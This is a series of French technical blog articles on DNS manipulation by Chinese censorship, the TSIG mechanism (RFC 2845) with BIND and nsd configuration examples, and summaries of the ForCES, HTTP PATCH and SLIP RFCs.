
Une autre solution pour tester est de trouver un résolveur DNS ouvert en Chine (c'est la méthode suivie par l'article de Lowe, Winters et Marcus cité plus loin). Quelques essais/erreurs et on trouve que ns.bnu.edu.cn veut bien répondre (attention, il est très lent) :

% dig +short @ns.bnu.edu.cn www.bortzmeyer.org
208.75.84.80

La réponse est correcte. Et avec un nom censuré ?

% dig +short @ns.bnu.edu.cn www.twitter.com   
37.61.54.158

Réponse mensongère (37.0.0.0/8 n'est même pas alloué).

Enfin, si vous êtes situé en Chine, c'est encore plus simple (ici dans le Liaoning) :

% dig A www.facebook.com.
...
;; ANSWER SECTION:
www.facebook.com.       86400   IN      A       46.82.174.68

Cette adresse n'est pas officiellement allouée. Encore plus drôle, une adresse IPv4 multicast :

% dig A www.twitter.com
...
;; ANSWER SECTION:
www.twitter.com.        86400   IN      A       243.185.187.39

À noter que les résultats ne seront pas forcément les mêmes selon que le nom de domaine est un IDN ou pas. La censure ne trafique pas que le routage !

Il est donc très probable qu'il existe en Chine des copies pirates des serveurs racine, et que les FAI chinois ont bricolé leur IGP (OSPF ou autre) pour détourner le trafic à destination des serveurs racine (variante de l'explication : des équipements intermédiaires, par exemple des routeurs, réécrivent les paquets). Cela n'explique quand même pas tout (par exemple pourquoi les copies fiables installées en Chine voient quand même un trafic DNS non négligeable) mais, sans tests détaillés faits un peu partout en Chine, difficile d'en dire plus.

À propos de tests détaillés, si vous êtes en Chine, et que vous avez une machine Unix, j'apprécierai que vous fassiez tourner le programme dns-china.sh et que vous me renvoyiez le résutat. Comme il produit beaucoup de données (et prend du temps), une façon de le faire tourner est sh dns-china.sh 2>&1 > /tmp/dns-china.log et vous pouvez ensuite m'envoyer le fichier /tmp/dns-china.log. Précisez bien si vous voulez que je cite votre nom, je remercie normalement tout le monde mais, ici, pour des raisons évidentes, je ne citerai que les gens qui le demandent. Un exemple de résultat (depuis un hôtel pékinois) est disponible.

Merci aux premiers et anonymes (pour vous, pas pour moi) testeurs, qui ont permis de voir que la Chine, c'est grand, et qu'on n'observe pas le même résultat selon les régions et/ou les opérateurs (par exemple, un test depuis Shanghai montre d'autres résultats, où les réponses des serveurs racine ne sont pas réécrites).

Bref, une fois qu'il est établi qu'il y a réécriture de certaines réponses DNS en Chine, revenons au Chili. Pourquoi ont-ils vu le problème ? Une fuite de ce bricolage de routes (analogue à celle qui avait touché YouTube) explique sans doute que l'annonce du serveur pirate ait atteint l'autre bout du Pacifique...

On pourrait penser qu'il suffit aux internautes chinois de créer un VPN avec un réseau à l'étranger, avec service DNS, pour échapper à cette censure mais la dictature est efficace : elle ne compte pas sur une seule méthode technique, elle en utilise plusieurs (filtrage IP, interception HTTP, DPI, etc).

Parmi les sources d'information fiables sur les manipulations DNS en Chine, l'excellent article technique de Graham Lowe, Patrick Winters et Michael L. Marcus « The Great DNS Wall of China » (bonne méthodologie et étude sérieuse) ou le « Report about national DNS spoofing in China ». Des bizarreries dues au filtrage chinois avaient déjà été signalées. Le NIC chilien a documenté ses observations en espagnol et en anglais. Les réécritures faites en Chine par la censure peuvent avoir des conséquences techniques complexes, et parfois défavorables au censeur (voir l'analyse touffue de David Dagon, le chercheur en sécurité bien connu). Et quelques articles en anglais sont parus sur le récent problème décrit ici : « China censorship leaks outside Great Firewall via root server » (plutôt technique et de bonne qualité), « Accidentally Importing Censorship » (bonne analyse technique avec notamment une analyse de la probabilité de voir la censure depuis l'extérieur), « China's Great Firewall spreads overseas » ou « Web traffic redirected to China in mystery mix-up ». Si vous voulez un logiciel qui peut détecter certaines réécritures faites en Chine, il y a ScholarZhang (ne me demandez pas de traduire le README !) Une version autonome a été publiée.

D'autre part, Jean-Marc Liotier a fait une très bonne traduction en anglais de cet article, pour ceux qui sont plus à l'aise avec la langue de Jasper Fforde.

Merci à Hauke Lampe et Marco Davids pour leur aide technique et bien sûr à Mauricio Vergara Ereche pour ses excellentes observations depuis Santiago.


L'article seul

RFC 2845: Secret Key Transaction Authentication for DNS (TSIG)

Date de publication du RFC : Mai 2000
Auteur(s) du RFC : P. Vixie (ISC), O. Gudmundsson (NAI labs), D. Eastlake (Motorola), B. Wellington (Nominum)
Chemin des normes
Première rédaction de cet article le 25 mars 2010


Le DNS a des vulnérabilités à plusieurs endroits, notamment des risques d'usurpation, qui permettent de glisser une réponse mensongère à la place de la bonne. Il existe plusieurs solutions pour ces problèmes, se différenciant notamment par leur degré de complexité et leur facilité à être déployées. TSIG (Transaction SIGnature), normalisé initialement dans ce RFC, est une solution de vérification de l'intégrité du canal, permettant à deux machines parlant DNS de s'assurer de l'identité de l'interlocuteur. TSIG est surtout utilisé entre serveurs DNS maîtres et esclaves, pour sécuriser les transferts de zone (aujourd'hui, presque tous les transferts entre serveurs faisant autorité sont protégés par TSIG.) Depuis, le RFC 8945 a été publié et est désormais la norme.

TSIG repose sur l'existence d'une clé secrète, partagée entre les deux serveurs, qui sert à générer un HMAC permettant de s'assurer que le dialogue DNS a bien lieu avec la machine attendue. L'obligation de partager une clé secrète le rend difficilement utilisable, en pratique, pour communiquer avec un grand nombre de clients. Mais, entre deux serveurs faisant autorité pour la même zone, ce n'est pas un problème (section 1.4). Même chose entre un serveur maître et un client qui met à jour les données par dynamic update (section 1.3 et RFC 2136). En revanche, pour permettre à des clients d'authentifier leur résolveur, il vaudrait mieux utiliser SIG(0) (RFC 2931) (ou des techniques non-DNS comme IPsec). La section 1.2 de notre RFC cite pourtant cet exemple d'authentification du résolveur, qui n'a jamais été déployé en pratique.

Bien sûr, si tout le monde utilisait DNSSEC partout, le problème n'existerait pas. Mais, en attendant ce futur lointain, TSIG fournit une solution simple et légère pour éviter qu'un méchant ne se glisse dans la conversation entre maître et esclave (par exemple grâce à une attaque BGP) et ne donne à l'esclave de fausses informations. (Il existe aussi des solutions non-DNS comme de transférer la zone avec rsync au dessus de SSH.)

Comment fonctionne TSIG ? Les sections 3 et 4 décrivent le protocole. Le principe est de calculer, avec la clé secrète, un HMAC des données transmises, et de mettre ce HMAC (cette « signature ») dans un pseudo-enregistrement TSIG qui sera joint aux données, dans la section additionnelle. À la réception, l'enregistrement TSIG (obligatoirement le dernier de la section additionnelle) sera extrait, le HMAC calculé et vérifié.

Pour éviter des attaques par rejeu, les données sur lesquelles portent le HMAC incluent l'heure. C'est une des causes les plus fréquentes de problèmes avec TSIG : les deux machines doivent avoir des horloges très proches (section 3.3, qui précise que la tolérance - champ Fudge - est de cinq minutes).

Le format exact des enregistrements TSIG est décrit en section 2. L'enregistrement est donc le dernier, et est mis dans la section additionnelle (voir des exemples plus loin avec dig et tshark). Le type de TSIG est 250 et, évidemment, ces pseudo-enregistrements ne doivent pas être gardés dans les caches. Plusieurs algorithmes de HMAC sont possibles mais un seul est obligatoire (et est le plus répandu), MD5 (RFC 1321 et RFC 2104). Un registre IANA contient les algorithmes actuellement possibles. (Le RFC 4635 a ajouté ceux de la famille SHA.)

Le nom dans l'enregistrement TSIG est le nom de la clé (une raison pour bien le choisir), la classe est ANY, le TTL nul et les données contiennent le nom de l'algorithme utilisé, le moment de la signature, et bien sûr la signature elle-même.

Le fait que la clé soit secrète implique des pratiques de sécurité sérieuses, qui font l'objet des sections 5 et 6. Par exemple, l'outil de génération de clés de BIND crée des fichiers en mode 0600, ce qui veut dire lisibles uniquement par leur créateur, ce qui est la moindre des choses. Encore faut-il assurer la sécurité de la machine qui stocke ces fichiers.

Voyons maintenant des exemples concrets où ludwig (192.168.2.1) est un serveur DNS maître pour la zone example.test et golgoth (192.168.2.7) un serveur esclave. Pour utiliser TSIG afin d'authentifier un transfert de zone entre deux machines, commençons avec BIND. Il faut d'abord générer une clé. Le programme dnssec-keygen, livré avec BIND, génère de nombreux types de clés (d'où ses nombreuses options). Pour TSIG, on veut du MD5 (mais dnssec-keygen connait d'autres algorithmes, tapez la commande sans arguments pour avoir la liste) :

% dnssec-keygen -a HMAC-MD5 -b 512  -n HOST  golgoth-ludwig-1
Kgolgoth-ludwig-1.+157+56575

On a donné à la clé le nom des deux machines entre lesquelles se fera la communication (le nom est affiché dans le journal lors d'un transfert réussi, et à plusieurs autres endroits, donc il vaut mieux le choisir long et descriptif), plus un chiffre pour distinguer d'éventuelles autres clés. La clé est partagée entre ces deux machines, on trouve la même dans le fichier Kgolgoth-ludwig-1.+157+56575.private et dans Kgolgoth-ludwig-1.+157+56575.key :

% cat Kgolgoth-ludwig-1.+157+56575.private
Private-key-format: v1.2
Algorithm: 157 (HMAC_MD5)
Key: iGSDB9st+5/xq0AZnwGWAv2ToNJFjsB33fXOh8S9VaI26k4SS7zm4uJVD2MBbYviLB9pF1fWZSUAanOYaRa9JQ==
Bits: AAA=

On met alors la clé dans la configuration de BIND, sur les deux machines :

key golgoth-ludwig-1. {
	algorithm "hmac-md5";
	secret "iGSDB9st+5/xq0AZnwGWAv2ToNJFjsB33fXOh8S9VaI26k4SS7zm4uJVD2MBbYviLB9pF1fWZSUAanOYaRa9JQ==";
};

Sur le serveur maître, on précise que seuls ceux qui connaissent la clé peuvent transférer la zone :

zone "example.test" { 
         type master;  
         file "/etc/bind/example.test";
         allow-transfer {  key golgoth-ludwig-1; };
};

Les autres seront rejetés :

Mar 24 21:41:01 ludwig named[30611]: client 192.168.2.7#65523: zone transfer 'example.test/AXFR/IN' denied

Mais, si on connait la clé, le transfert est possible (ici, un test avec dig) :


% dig -y hmac-md5:golgoth-ludwig-1:iGSDB9st+5/...Ra9JQ== @192.168.2.1 AXFR example.test

; <<>> DiG 9.5.0-P2 <<>> -y hmac-md5 @192.168.2.1 AXFR example.test
; (1 server found)
;; global options:  printcmd
example.test.           86400   IN      SOA     ludwig.example.test. hostmaster.example.test. 2010032400 36000 3600 604800 86400
example.test.           86400   IN      NS      ludwig.example.test.
example.test.           86400   IN      TXT     "foobar"
example.test.           86400   IN      SOA     ludwig.example.test. hostmaster.example.test. 2010032400 36000 3600 604800 86400
golgoth-ludwig-1.     0       ANY     TSIG    hmac-md5.sig-alg.reg.int. 1269463439 300 16 6TTFl73Lzd5KdDs367+ZoA== 31826 NOERROR 0 
;; Query time: 29 msec
;; SERVER: 192.168.2.1#53(192.168.2.1)
;; WHEN: Wed Mar 24 21:43:59 2010
;; XFR size: 4 records (messages 1, bytes 244)

On voit que dig affiche fidèlement tous les enregistrements, y compris le pseudo-enregistrement de type TSIG qui contient la signature.

Maintenant que le test marche, configurons le serveur BIND esclave :

zone "example.test" {
       type slave;
       masters {192.168.2.1;};
       file "example.test";
};

server 192.168.2.1 {
        keys {
	     golgoth-ludwig-1;
    };
};

et c'est tout : l'esclava va désormais utiliser TSIG pour les transferts de zone. Le programme tshark va d'ailleurs nous afficher les enregistrements TSIG :

    Queries
        example.test: type AXFR, class IN
            Name: example.test
            Type: AXFR (Request for full zone transfer)
            Class: IN (0x0001)
    Answers
        example.test: type SOA, class IN, mname ludwig.example.test
            Name: example.test
    ...
    Additional records
        golgoth-ludwig-1: type TSIG, class ANY
            Name: golgoth-ludwig-1
            Type: TSIG (Transaction Signature)
            Class: ANY (0x00ff)
            Time to live: 0 time
            Data length: 58
            Algorithm Name: hmac-md5.sig-alg.reg.int
            Time signed: Mar 24, 2010 21:51:17.000000000
            Fudge: 300
            MAC Size: 16
            MAC
                No dissector for algorithm:hmac-md5.sig-alg.reg.int
            Original Id: 59013
            Error: No error (0)
            Other Len: 0

Et si l'esclave est un nsd et pas un BIND ? C'est le même principe. On configure l'esclave :

key:
	name: golgoth-ludwig-1
	algorithm: hmac-md5
	secret: "iGSDB9st+5/xq0AZnwGWAv2ToNJFjsB33fXOh8S9VaI26k4SS7zm4uJVD2MBbYviLB9pF1fWZSUAanOYaRa9JQ=="

zone:
	name: "example.test"
	zonefile: "example.test"

	allow-notify: 192.168.2.1 NOKEY
	request-xfr: 192.168.2.1 golgoth-ludwig-1

Et le prochain nsdc update (ou bien la réception de la notification) déclenchera un transfert, qui sera ainsi enregistré :

Mar 24 22:10:07 golgoth nsd[9885]: Notify received and accepted, forward to xfrd
Mar 24 22:10:07 golgoth nsd[9966]: Handle incoming notify for zone example.test
Mar 24 22:10:07 golgoth nsd[9966]: xfrd: zone example.test written \
          received XFR from 192.168.2.1 with serial 2010032403 to disk
Mar 24 22:10:07 golgoth nsd[9966]: xfrd: zone example.test committed \
          "xfrd: zone example.test received update to serial 2010032403 at time 1269465007 \
          from 192.168.2.1 in 1 parts TSIG verified with key golgoth-ludwig-1"

Pour générer des clés sans utiliser BIND, on peut consulter mon autre article sur TSIG.

On l'a vu, TSIG nécessite des horloges synchronisées. Une des erreurs les plus fréquentes est d'oublier ce point. Si une machine n'est pas à l'heure, on va trouver dans le journal des échecs TSIG comme (sections 4.5.2 et 4.6.2 du RFC) :

Mar 24 22:14:53 ludwig named[30611]: client 192.168.2.7#65495: \
         request has invalid signature: TSIG golgoth-ludwig-1: tsig verify failure (BADTIME)

Téléchargez le RFC 2845


L'article seul

RFC 5812: ForCES Forwarding Element Model

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : J. Halpern (Self), E. Deleganes (Intel)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 19 mars 2010


Le protocole Forces s'affine au fur et à mesure des RFC. Ce protocole permettra aux différent éléments d'un routeur de communiquer entre eux de manière normalisée, permettant peut-être la réalisation de routeurs modulaires, obtenus en assemblant des composants standard.

Ce RFC décrit le modèle de données des FE (forwarding element) de Forces. Un FE est chargé d'effectuer le travail de transmission (forwarding) des paquets, sous le contrôle d'un CE (Control Element) avec lequel il communique en suivant le protocole Forces. Le modèle permet de décrire les capacités d'un FE (ce qu'il sait faire), son état (ce qu'il est en train de faire) et sa configuration (comment le CE peut-il le commander). Il s'inscrit dans la suite du cahier des charges de Forces, le RFC 3654 et dans celle du cadre de description de Forces, le RFC 3746.

Par exemple, parmi les capacités d'un FE, on pourrait trouver :

Le modèle utilise une entité plus précise que le FE, le LFB (logical functional block, décrit en détail en section 3.2). Un LFB assure une tâche élémentaire, la combinaison de ces tâches (les LFB sont typiquement chaînés) donnant le FE.

Par exemple, on peut imaginer qu'une fonction comme le forwarding soit mise en œuvre par la combinaison de deux LFB, Longest Prefix Match et Next Hop.

La section 4 du RFC décrit plus concrètement les schémas. Le langage de description utilisé est XML, avec utilisation des W3C Schemas. Un schéma Forces est essentiellement constitué de la descriptions des classes de LFB, comme par exemple un LFB Counter qui compte les données ou comme un LFB Dropper qui jetterait tous les paquets qu'il reçoit (permettant de modéliser des effets comme les null route d'IOS, où un routeur jette des paquets, par exemple pour arrêter une DoS). Ces descriptions de classes forment ensuite une bibliothèque de classes et tout FE Forces sera documenté par une telle bibliothèque (voir par exemple celle décrite dans le RFC 6956).

La complexité du modèle et l'utilisation des W3C Schema fait que ce RFC est particulièrement long : 122 pages à lire.


Téléchargez le RFC 5812


L'article seul

RFC 5810: ForCES Protocol Specification

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : A. Doria (Lulea University of Technology), J. Hadi Salim (Znyx), R. Haas (IBM), H. Khosravi (Intel), W. Wang (Zhejiang Gongshang University), L. Dong (Zhejiang Gongshang University), R. Gopal (Nokia), J. Halpern
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF forces
Première rédaction de cet article le 19 mars 2010


Ce RFC conclut, après un très long travail, les efforts du groupe de travail Forces de l'IETF. Ce groupe était chargé de produire un protocole permettant la communication entre les différents éléments d'un routeur, afin de permettre d'acheter ces éléments chez des vendeurs différents. Un tel protocole pourrait permettre d'ouvrir le monde actuellement très fermé des routeurs de haut de gamme, mais il n'est pas sûr du tout qu'il soit un jour effectivement mis en œuvre.

Le travail de Forces avait commencé il y a de nombreuses années et le premier RFC, le RFC 3654 avait été publié en 2003. Maintenant, grâce à ce RFC 5810 (et quelques compagnons comme le RFC 5811 sur le protocole de transport), le travail est quasiment terminé et la partie Normalisation de Forces avec lui. Il reste à l'implémenter et à faire en sorte qu'il soit disponible dans les routeurs...

Conformément au cahier des charges du RFC 3654, et au cadre général de Forces exposé par le RFC 3746, ce nouveau protocole permet la communication entre deux catégories d'élements qui composent un routeur, les CE (Control Element) et les FE (Forwarding Element). (La section 3 rappelle le vocabulaire de Forces.) Les premiers, les CE, font tourner des algorithmes compliqués comme OSPF ou BGP, ils prennent des décisions « de haut niveau » et les seconds, les FE, font le travail « bête » mais ultra-rapide, de commutation de chaque paquet. Aujourd'hui, dans un routeur (Forces dit NE, pour Network Element, et pas routeur) haut de gamme, le CE est typiquement un processeur standard, avec un système d'exploitation (parfois un Unix),le FE est un ASIC aux capacités bien plus limitées mais aux performances fantastiques. Comme le protocole de communication entre le CE et le FE est privé, pas question de faire tourner du logiciel libre sur le CE, pas question d'acheter le processeur à un vendeur et les ASIC à un autre. C'est ce problème que Forces veut résoudre.

Dans Forces, la relation entre les CE et les FE est simple : le CE est le maître et le FE l'esclave. Les informations nécessaires au FE sont regroupées dans des LFB (Logical Function Block) dont la description est faite en XML (cf. RFC 5812 et un exemple dans le RFC 6956). Le protocole lui-même n'utilise pas XML. Le protocole ne spécifie que la communication entre FE et CE, pas celles qui pourraient exister entre FE ou bien entre CE, ni celle qui relie les CE à leur gérant (l'interface d'administration du routeur). (La section 4 rappelle le cadre général de Forces, exposé dans le RFC 3746.) Le protocole Forces est également responsable de l'établissement et de la terminaison des associations entre un routeur (NE) et des CE ou FE (section 4.4). Une fois l'association faite, le CE envoie des ordres au FE, ordres exprimés avec le protocole Forces, et encapsulés dans un protocole de transport, le TLM (Transport Layer Mapping) qui fait l'objet d'un RFC séparé (RFC 5811).

La section 4.3.1 du RFC détaille la question de l'atomicité des requêtes Forces. Le protocole permet des requêtes atomiques (toutes sont exécutées, ou bien aucune ne l'est, section 4.3.1.1.1) mais aussi des requêtes exécutées séquentiellement jusqu'au premier échec (section 4.3.1.1.3) ou encore des requêtes exécutées même si la précédente était un échec (section 4.3.1.1.2). Mieux, Forces permet des transactions ACID (section 4.3.1.2).

L'encodage des paquets sur le câble fait l'objet de la section 6. Tous les paquets ont un en-tête commun, suivi d'un ou plusieurs TLV. Parmi les champs de l'en-tête commun, un numéro de version sur 4 bits (actuellement 1), le type du message, sur 8 bits (les différents types sont décrits en section 7 et le tableau complet est dans l'annexe A.1) et les adresses (nommées ID) de l'expéditeur et du destinataire. Ces ID, ces adresses, sont codés sur 32 bits et doivent être uniques à l'intérieur du routeur (mais pas forcément pour tout l'Internet). Rappelez-vous qu'un des buts de Forces est de pouvoir gérer des équipements très complexes, où CE et FE ne sont pas forcément dans la même boîte. À noter que les adresses des CE et des FE sont séparées (les premières commencent toujours par 00 et les secondes par 01).

Une fois passé l'en-tête commun, viennent les TLV, décrits dans la section 6.2. Le choix de TLV permet de simplifier l'analyse des messages, certains FE n'apprécieraient en effet pas forcément de devoir analyser du XML. À noter que le champ Valeur d'un TLV peut contenir d'autres TLV.

Le contenu légal d'un message (quels TLV, en fonction de son type) est le sujet de la section 7. Par exemple (section 7.1.6), si le type est Config (créer ou bien mettre à jour un attribut du FE) ou Query (récupérer la valeur d'un attribut du FE), il ne peut pas y avoir de TLV de réponse dans le message (mais il y a un TLV PATH-DATA qui contient l'identificateur de l'attribut qu'on vise). Si le type est QueryResponse (réponse à une question posée), en revanche, le TLV de réponse (section 7.1.7) est obligatoire. Comme le protocole Forces est très asymétrique (les CE commandent et les FE obéissent), la plupart des messages ne peuvent être émis que dans une seule direction (par exemple, un GET ne peut être que d'un CE vers un FE, le FE, en bon subordonné, ne doit pas poser des questions à son supérieur). Les questions et réponses sont détaillées en section 7.7 et un registre IANA stocke les valeurs possibles. L'annexe C donne plusieurs exemples d'encodage.

La traditionnelle section sur la sécurité est la 9. Les menaces contre Forces ont été décrites dans le RFC 3746. Forces peut être configuré avec zéro sécurité (section 9.1), notamment si tous les composants, CE et FE, sont dans une seule boîte fermée (ce qui est le cas de la plupart des routeurs aujourd'hui). Autrement, la sécurité dépend essentiellement des services du TML (section 5).

Notre RFC 5810 ne normalise que les bits qui seront transportés entre CE et FE, pas la manière dont ils seront encapsulés dans un protocole de transport. La section 5 ne spécifie pas de telles règles mais expose le cahier des charges que devront respecter celles-ci (appelé le TML pour Transport Mapping Layer). Au moins une encapsulation est obligatoire pour Forces, celle du RFC 5811 mais d'autres sont possibles.

Parmi les exigences de cette section, la fiabilité de la délivrance des paquets (au moins pour certains d'entre eux), la sécurité (au minimum la possibilité d'authentifier CE et FE, de préférence avec des mécanismes existants comme TLS ou IPsec), le contrôle de congestion (cf. RFC 2914), la possibilité de haute disponibilité (section 8), etc.

Je ne connais pas encore d'implémentation de niveau « production ». Ce n'est pas un travail évident, Forces est riche et complexe, peut-être trop.


Téléchargez le RFC 5810


L'article seul

RFC 5789: PATCH Method for HTTP

Date de publication du RFC : Mars 2010
Auteur(s) du RFC : L. Dusseault (Linden Labs), J. Snell
Chemin des normes
Première rédaction de cet article le 19 mars 2010


Le célébrissime protocole HTTP (décrit dans le RFC 7230 et suivants) prévoit plusieurs méthodes pour interagir avec une ressource, identifiée par un URI. Dans le cas le plus connu, la ressource est une page en HTML et la méthode utilisée est GET, pour récupérer ladite page. Mais HTTP dispose d'autres méthodes, comme PUT ou DELETE. Ce RFC 5789 ajoute à la liste une méthode de modification partielle d'une ressource, PATCH.

Si GET sert à récupérer une ressource (par exemple un fichier), DELETE à détruire une ressource, et PUT à installer une nouvelle version toute neuve, PATCH permettra de modifier une ressource sans envoyer l'intégralité de la nouvelle ressource. L'intérêt principal est de transmettre des mises à jour de petite taille, au lieu de renvoyer une (peut-être très grosse) ressource complète. Pour l'instant, je ne connais pas de mise en œuvre disponible officiellement (voir à la fin de cet article pour quelques idées).

Il faut noter tout de suite que le format de la modification envoyée n'est pas spécifié : plusieurs formats seront possible, le client HTTP devra indiquer le format utilisé et espérer que le serveur l'accepte.

Pourquoi ne pas utiliser les méthodes existantes au lieu d'inventer PATCH ? La section 1 répond à cette question. PUT remplace complètement la ressource (et utiliser PUT pour envoyer une modification partielle, même si le serveur final comprend l'opération, sémerait la confusion chez les relais) et POST est trop mal spécifié (il sert un peu de méthode fourre-tout).

La nouvelle méthode est décrite en détail en section 2. Le client envoie le patch et indique l'URI de la ressource auquel il s'applique. Le patch est une série d'instructions indiquant comment modifier l'ancienne ressource pour atteindre l'objectif, la nouvelle ressource. Il existe plusieurs langages pour de telles instructions comme les patches XML du RFC 5261, comme le langage de patch traditionnel des programmeurs (type non officiel text/x-diff), etc. Au fur et à mesure de leur définition officielle, ces types seront enregistrés dans le registre.

Attention, comme rappelé à plusieurs reprises dans le RFC, PATCH n'est pas idempotent (pas plus que POST, voir le RFC 7231, section 9.1.2). La question a été vigoureusement discutée à l'IETF lors de l'élaboration de ce RFC et la conclusion générale était qu'assurer une telle sémantique serait très coûteux et pas toujours nécessaire.

De même, PATCH ne garantit pas forcément l'état final de la ressource : avec certains langages de patch, un patch, appliqué à une version différente de la ressource, peut engendrer des résultats inattendus (contrairement à PUT). C'est au client HTTP de s'assurer qu'il utilise bien la bonne version de la ressource. Comment ? Le plus simple est que le client demande un Etag (RFC 7232, section 2.3) par un GET, calcule les changements, avant d'envoyer le PATCH accompagné d'un en-tête If-Match: (RFC 7232, section 3.1). Ainsi, le client sera sûr de partir d'un état connu de la ressource. Cette méthode résout également le cas de deux clients tentant de patcher à peu près simultanément. (L'en-tête If-Unmodified-Since: est une alternative passable à If-Match:.) Avec certains langages de patch, ou bien pour certaines opérations (par exemple ajouter une ligne à la fin d'un journal), ces précautions ne sont pas nécessaires.

En revanche, PATCH garantit l'atomicité. La ressource sera complètement modifiée ou pas du tout (le logiciel patch d'Unix ne garantit pas cela).

PATCH ne permet de changer que le contenu de la ressource, pas ses métadonnées. Si la requête PATCH a des en-têtes, ils décrivent la requête, pas la ressource et des attributs comme le type MIME ne peuvent donc pas être modifiés via PATCH.

HTTP permet de traverser des caches et ceux-ci devraient évidemment invalider une ressource pour laquelle un PATCH est passé.

Voici l'exemple de PATCH de la section 2.1, utilisant un langage de patch imaginaire, indiquée par le type MIME application/example :

PATCH /file.txt HTTP/1.1
Host: www.example.com
Content-Type: application/example
If-Match: "e0023aa4e"
Content-Length: 100

[Le patch, au format "application/example"]

Et son résultat (rappel : 204 indique un succès mais où la ressource n'est pas renvoyée, contrairement à 200) :

HTTP/1.1 204 No Content
Content-Location: /file.txt
ETag: "e0023aa4f"

Et si ça se passe mal ? La section 2.2 décrit les cas d'erreur possibles parmi lesquels :

  • Patch invalide, inacceptable pour le langage de patch indiqué : réponse 400 (requête malformée),
  • Langage de patch inconnu : réponse 415 (type inconnu),
  • Requête impossible, par exemple parce qu'elle laisserait la ressource dans un état considéré par le serveur comme invalide : réponse 422,
  • État de la ressource différent de ce qui est demandé, lors de l'utilisation (recommandée) de If-Match:, ce qui est le cas si un autre processus a modifié la ressource entre temps : 409 ou 412 selon le cas,
  • Et naturellement les grands classiques de HTTP comme 403 (pas le droit de modifier cette ressource) ou 404 (pas moyen de patcher une ressource qui n'existe pas).

Pour interagir proprement avec les clients et les serveurs HTTP qui ne connaissent pas PATCH, la section 3 décrit l'information qu'on peut envoyer en réponse à la commande OPTIONS, pour indiquer qu'on accepte PATCH :

OPTIONS /example/buddies.xml HTTP/1.1
Host: www.example.com

[La réponse]

HTTP/1.1 200 OK
Allow: GET, PUT, POST, OPTIONS, HEAD, DELETE, PATCH
Accept-Patch: application/example, text/example

D'autre part, le nouvel en-tête Accept-Patch: (section 3.1 et 4.1 pour le registre IANA) sert à préciser les formats de patch acceptés.

Comme PATCH modifie une ressource Web, il n'est pas étonnant que la section de ce RFC 5789 sur la sécurité soit assez détaillée. Plusieurs problèmes peuvent se poser :

  • Les mêmes qu'avec PUT concernant l'autorisation de l'utilisateur à modifier la ressource. A priori, PATCH ne sera pas ouvert au public et nécessitera une authentification.
  • Le risque de corruption d'une ressource (inexistant avec PUT) qui peut être traité par les techniques de requêtes conditionnelles (If-Match:...).
  • Certains relais vérifient dans le corps de requêtes comme PUT ou POST la présence de contenus à problèmes, par exemple un virus. PATCH permettrait de contourner ces contrôles en envoyant le contenu en plusieurs fois. Mais le problème n'est pas très différent de celui posé par les contenus envoyés en plusieurs fois avec Content-Range: (le RFC cite aussi le cas des contenus comprimés, ce que je trouve moins convaincant).
  • Et, comme toujours, il y a un risque de déni de service si l'application du patch peut consommer beaucoup de ressources du serveur. Celui-ci doit donc définir des limites.

Pour implémenter PATCH, quelques idées :

  • Le livre de Lincoln D. Stein et Doug MacEachern, « Writing Apache modules with Perl and C » contient un exemple de module Perl (et de client) pour Apache,
  • Pour l'instant, c'est tout ce que je vois.

Un autre article en français sur cette technologie : http://pierre.dureau.me/billet/2011-04-06-http-patch.


Téléchargez le RFC 5789


L'article seul

RFC 1055: Nonstandard for transmission of IP datagrams over serial lines: SLIP

Date de publication du RFC : Juin 1988
Auteur(s) du RFC : J. Romkey
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 18 mars 2010


Pendant de nombreuses années, le protocole SLIP a été le plus répandu pour l'accès à l'Internet en dehors du réseau local, par exemple via un modem et le RTC. Même si ce RFC se qualifie modestement de « non-norme », il n'en a pas moins été la seule description officielle de SLIP pendant ces années.

Pourtant, SLIP était bien plus ancien que ce RFC. Il a commencé dans les années 1980, dans la mise en œuvre 3com/Unet de TCP/IP. Le terme de « protocole » est d'ailleurs exagéré pour parler de SLIP : c'est uniquement un format de paquet sur une ligne série. Aucune négociation, aucun mécanisme pour distribuer des informations comme les adresses IP. Mais, en contrepartie, la programmation de SLIP est triviale (il y a même un exemple de code en C à la fin du RFC) et il a donc existé un très grand nombre d'implémentations (aujourd'hui, par exemple, celle du noyau Linux est toujours dans drivers/net/slip*).

C'est en 1984, des années avant ce RFC 1055 que Rick Adams a ajouté SLIP à Berkeley Unix et que ce mécanisme a décollé.

Aujourd'hui, l'époque des modems à 1200 b/s, mentionnés par le RFC, semble bien loin et SLIP n'a plus qu'un intérêt historique. Le RFC accuse nettement son âge, notamment lorsqu'il indique (sans donner d'URL, qui n'existaient pas à l'époque) un serveur FTP anonyme pour récupérer le code (ledit serveur n'existe plus), et qu'il ajoute des instructions sur l'utilisation de shar (une horreur en terme de sécurité, inimaginable aujourd'hui).

Donc, en quoi consistait ce « protocole » ? SLIP définissait deux caractères spéciaux, END (valeur 192) et ESC (valeur 219, rien à voir avec le ESC de ASCII). Le END indique la fin du paquet. Si un vrai caractère END (ou ESC) doit être envoyé, on envoie à la place ESC + 220 (ou ESC + 221). Difficile de faire plus simple. Pour copier le noyau Linux :

#define END             0300		/* indicates end of frame	*/
#define ESC             0333		/* indicates byte stuffing	*/
#define ESC_END         0334		/* ESC ESC_END means END 'data'	*/
#define ESC_ESC         0335		/* ESC ESC_ESC means ESC 'data'	*/
...
	while (len-- > 0) {
		switch (c = *s++) {
		case END:
			*ptr++ = ESC;
			*ptr++ = ESC_END;
			break;
		case ESC:
			*ptr++ = ESC;
			*ptr++ = ESC_ESC;
			break;
		default:
			*ptr++ = c;
			break;
		}
	}
	*ptr++ = END;

Il y a quand même quelques petites subtilités. Par exemple, le RFC recommande d'envoyer également un END avant le paquet, pour vider tous les caractères parasites qui seraient en attente (eh oui, les modems n'étaient pas fiables et tout le monde n'avait pas activé V.42). D'autre part, comme SLIP ne définissait pas de MTU, le RFC recommande de se limiter à 1006 octets, taille historique.

Dès le début, les limites de SLIP étaient bien connues et sont listées dans le RFC :

  • Pas de mécanisme d'adressage. À part les adresses IP fixes mises à la main, la solution la plus courante (quoi non citée dans le RFC) était de regarder les paquets IP envoyés et de considérer que l'adresse de destination était l'adresse affectée par l'autre bout.
  • Pas de multi-protocoles : dans un paquet SLIP, rien n'indique le protocole de couche 3 utilisé et SLIP n'était donc utilisable que pour IP.
